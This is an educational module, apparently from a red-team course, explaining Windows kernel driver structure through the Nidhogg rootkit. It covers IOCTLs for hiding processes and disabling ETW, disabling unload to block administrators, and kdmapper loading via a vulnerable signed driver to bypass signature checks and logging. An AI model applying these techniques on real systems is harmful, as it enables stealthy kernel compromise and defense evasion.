Module 2: Windows Kernel Driver Basics
DriverEntry, IRP dispatch, IOCTL communication, and loading drivers into the kernel.
Module Objective
Understand the anatomy of a Windows kernel driver: the DriverEntry entry point, device and symbolic link creation, IRP (I/O Request Packet) dispatch routines, IOCTL-based communication with user mode, and the mechanisms for loading a driver via sc.exe or manual mapping with kdmapper.
1. DriverEntry: The Kernel Entry Point
Every Windows kernel driver begins execution at DriverEntry, analogous to main() in user-mode programs. The function signature is defined by the WDK:
C// DriverEntry - called by the I/O Manager when the driver is loaded
NTSTATUS DriverEntry(
_In_ PDRIVER_OBJECT DriverObject, // Represents this driver in the kernel
_In_ PUNICODE_STRING RegistryPath // Registry key for driver parameters
) {
NTSTATUS status;
// 1. Set up dispatch routines (IRP handlers)
DriverObject->MajorFunction[IRP_MJ_CREATE] = NidhoggCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = NidhoggCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = NidhoggDeviceControl;
// 2. Set the unload routine (allows driver to be stopped)
DriverObject->DriverUnload = NidhoggUnload;
// 3. Create a device object (communication endpoint)
UNICODE_STRING deviceName = RTL_CONSTANT_STRING(L"\\Device\\Nidhogg");
PDEVICE_OBJECT DeviceObject;
status = IoCreateDevice(
DriverObject,
0, // DeviceExtensionSize
&deviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE, // Not exclusive
&DeviceObject
);
if (!NT_SUCCESS(status)) return status;
// 4. Create a symbolic link for user-mode access
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Nidhogg");
status = IoCreateSymbolicLink(&symLink, &deviceName);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(DeviceObject);
return status;
}
return STATUS_SUCCESS;
}
The DRIVER_OBJECT
The DRIVER_OBJECT structure is the kernel's representation of a loaded driver. It contains the MajorFunction array — a table of 28 function pointers, one for each IRP major function code. The I/O Manager uses this table to dispatch I/O requests to the correct handler in the driver. Setting these pointers is how the driver tells the kernel which functions to call.
2. Device Objects and Symbolic Links
For user-mode applications to communicate with a kernel driver, two objects must be created:
| Object | Purpose | Namespace | Accessible From |
|---|---|---|---|
| Device Object | The actual communication endpoint in the kernel | \Device\Nidhogg | Kernel mode only |
| Symbolic Link | A name visible to user-mode applications | \\.\Nidhogg (user sees \??\Nidhogg) | User mode via CreateFile |
The symbolic link acts as a bridge. When a user-mode application calls CreateFile(L"\\\\.\\Nidhogg", ...), the Object Manager resolves the symbolic link \??\Nidhogg to the device object \Device\Nidhogg, and the I/O Manager sends an IRP_MJ_CREATE to the driver.
C++// User-mode client opening a handle to Nidhogg
HANDLE hDevice = CreateFileW(
L"\\\\.\\Nidhogg", // Symbolic link name
GENERIC_READ | GENERIC_WRITE,
0, // No sharing
NULL, // Default security
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
// hDevice is now a handle to Nidhogg's device object
3. IRP Dispatch Model
All communication between user mode and kernel drivers flows through I/O Request Packets (IRPs). An IRP is a kernel data structure that describes a pending I/O operation:
Key IRP Major Function Codes
| Code | Triggered By | Purpose in Nidhogg |
|---|---|---|
IRP_MJ_CREATE | CreateFile() | Open a handle to the device |
IRP_MJ_CLOSE | CloseHandle() | Close the device handle |
IRP_MJ_DEVICE_CONTROL | DeviceIoControl() | Send IOCTL commands (the main communication channel) |
IRP_MJ_READ | ReadFile() | Not used by Nidhogg (IOCTL-only design) |
IRP_MJ_WRITE | WriteFile() | Not used by Nidhogg (IOCTL-only design) |
Each IRP contains an array of IO_STACK_LOCATION structures, one per driver in the device stack. The current stack location holds the parameters for the operation, including the IOCTL code and input/output buffer information.
C// Minimal IRP_MJ_CREATE / IRP_MJ_CLOSE handler
NTSTATUS NidhoggCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
4. IOCTL Communication
IOCTLs (I/O Control Codes) are the primary mechanism for sending structured commands from user mode to a kernel driver. An IOCTL code is a 32-bit value that encodes four fields:
C// IOCTL code layout (CTL_CODE macro)
#define CTL_CODE(DeviceType, Function, Method, Access) \
(((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
// Nidhogg IOCTL definitions (example)
#define IOCTL_NIDHOGG_HIDE_PROCESS \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_NIDHOGG_PROTECT_FILE \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_NIDHOGG_DISABLE_ETW \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
| Field | Bits | Purpose |
|---|---|---|
| DeviceType | 31-16 | Type of device (FILE_DEVICE_UNKNOWN for custom drivers) |
| Access | 15-14 | Required access rights (FILE_ANY_ACCESS, FILE_READ_DATA, etc.) |
| Function | 13-2 | Driver-defined function code (0x800+ for vendor-defined) |
| Method | 1-0 | Buffer transfer method (METHOD_BUFFERED, METHOD_NEITHER, etc.) |
5. Buffer Transfer Methods
The Method field in the IOCTL code determines how input/output buffers are handled between user mode and kernel mode:
METHOD_BUFFERED (Most Common, Used by Nidhogg)
The I/O Manager allocates a kernel-mode buffer, copies user input into it before calling the driver, and copies output back to user mode after the driver completes. This is the safest method because the driver never touches user-mode addresses directly.
C// Accessing buffers in METHOD_BUFFERED IOCTL handler
NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
ULONG ioctl = stack->Parameters.DeviceIoControl.IoControlCode;
// For METHOD_BUFFERED:
// Input buffer: Irp->AssociatedIrp.SystemBuffer (kernel copy of user input)
// Output buffer: Irp->AssociatedIrp.SystemBuffer (same buffer, reused)
// Input size: stack->Parameters.DeviceIoControl.InputBufferLength
// Output size: stack->Parameters.DeviceIoControl.OutputBufferLength
PVOID buffer = Irp->AssociatedIrp.SystemBuffer;
ULONG inLen = stack->Parameters.DeviceIoControl.InputBufferLength;
switch (ioctl) {
case IOCTL_NIDHOGG_HIDE_PROCESS:
// buffer contains the PID to hide
if (inLen < sizeof(ULONG)) {
Irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
break;
}
ULONG pid = *(PULONG)buffer;
Irp->IoStatus.Status = HideProcess(pid);
break;
// ... other IOCTL cases ...
default:
Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Irp->IoStatus.Status;
}
6. The User-Mode Client Side
NidhoggClient (the C++ user-mode component) sends commands to the driver through standard Win32 APIs:
C++// NidhoggClient: sending a "hide process" command
bool HideProcess(HANDLE hDevice, DWORD pid) {
DWORD bytesReturned = 0;
BOOL success = DeviceIoControl(
hDevice, // Handle from CreateFile
IOCTL_NIDHOGG_HIDE_PROCESS, // IOCTL code
&pid, // Input buffer (PID)
sizeof(pid), // Input size
NULL, // No output buffer needed
0, // Output size
&bytesReturned, // Bytes returned
NULL // Not overlapped
);
return success != FALSE;
}
Communication Flow
- Client calls
CreateFile(L"\\\\.\\Nidhogg")→ IRP_MJ_CREATE → driver returns SUCCESS - Client calls
DeviceIoControl(hDevice, IOCTL_HIDE_PROCESS, &pid, ...) - I/O Manager creates an IRP with major function IRP_MJ_DEVICE_CONTROL
- I/O Manager copies
pidinto a kernel buffer (METHOD_BUFFERED) - Driver's
NidhoggDeviceControlis called, reads PID, performs DKOM - Driver completes IRP with STATUS_SUCCESS
- Control returns to user mode;
DeviceIoControlreturns TRUE
7. Driver Unload
A well-written rootkit should support clean unloading. The DriverUnload routine reverses all setup done in DriverEntry:
CVOID NidhoggUnload(_In_ PDRIVER_OBJECT DriverObject) {
// 1. Remove any installed callbacks
// (CmUnRegisterCallback, ObUnRegisterCallbacks, etc.)
// 2. Undo any DKOM modifications
// (re-link hidden processes, restore hooked IRP pointers)
// 3. Delete symbolic link
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Nidhogg");
IoDeleteSymbolicLink(&symLink);
// 4. Delete device object
IoDeleteDevice(DriverObject->DeviceObject);
}
Unload Considerations
In practice, many rootkits either omit the unload routine (making the driver persistent until reboot) or set DriverObject->DriverUnload = NULL to prevent administrators from stopping the driver. Nidhogg supports unloading for development convenience, but an operational deployment might disable it.
8. Loading Drivers: sc.exe vs kdmapper
Two common methods for loading kernel drivers during red team operations:
8.1 Service Control Manager (sc.exe)
Batch:: Create a kernel driver service
sc create Nidhogg type= kernel binPath= C:\path\to\Nidhogg.sys
:: Start the driver (triggers DriverEntry)
sc start Nidhogg
:: Stop the driver (triggers DriverUnload)
sc stop Nidhogg
:: Delete the service registration
sc delete Nidhogg
This is the legitimate path. It requires administrator privileges and a signed driver. The Service Control Manager calls NtLoadDriver, which invokes CI signature validation. The driver load is logged in the System event log (Event ID 7045).
8.2 kdmapper (Manual Mapping)
Textkdmapper.exe Nidhogg.sys
Flow:
1. Load signed vulnerable driver (e.g., iqvw64e.sys from Intel)
2. Exploit R/W primitive in the vulnerable driver
3. Allocate kernel pool memory via the exploit
4. Copy Nidhogg.sys image into pool memory
5. Resolve imports manually (ntoskrnl exports)
6. Call DriverEntry via the exploit
7. Unload the vulnerable driver (optional)
Result: Nidhogg is running in kernel memory
with NO service registration
NO entry in the loaded modules list
NO standard driver signature check
Detection Differences
| Indicator | sc.exe Load | kdmapper Load |
|---|---|---|
| Service registry key | Yes | No |
| System event log (7045) | Yes | No (but vuln driver load is logged) |
| PsLoadedModuleList entry | Yes | No |
| Driver signature required | Yes | No (bypassed) |
| DriverObject created | Yes (by I/O Manager) | No (must be faked or omitted) |
9. Kernel Pool Memory
Kernel drivers allocate memory from kernel pools rather than the user-mode heap. Understanding pool types is important for rootkit development:
| Pool Type | Characteristics | Typical Use |
|---|---|---|
NonPagedPool | Always in physical memory (never paged out), accessible at any IRQL | Data accessed in ISRs, DPC routines, or at DISPATCH_LEVEL |
PagedPool | Can be paged to disk, accessible only at IRQL < DISPATCH_LEVEL | Large buffers, string storage, data accessed only at PASSIVE_LEVEL |
NonPagedPoolNx | Non-paged, non-executable (W^X compliant) | Data buffers that should never contain executable code |
C// Allocating kernel pool memory
PVOID buffer = ExAllocatePool2(
POOL_FLAG_NON_PAGED, // Pool type (Windows 10 2004+)
sizeof(HIDDEN_PROCESS_ENTRY),
'hdiN' // Pool tag ('Nidh' reversed) for debugging
);
// Always check for allocation failure
if (!buffer) return STATUS_INSUFFICIENT_RESOURCES;
// Free when done
ExFreePoolWithTag(buffer, 'hdiN');
Knowledge Check
Q1: What is the purpose of a symbolic link in kernel driver communication?
Q2: In METHOD_BUFFERED IOCTL handling, where does the driver read user input from?
Q3: What is the key advantage of loading a driver via kdmapper versus sc.exe?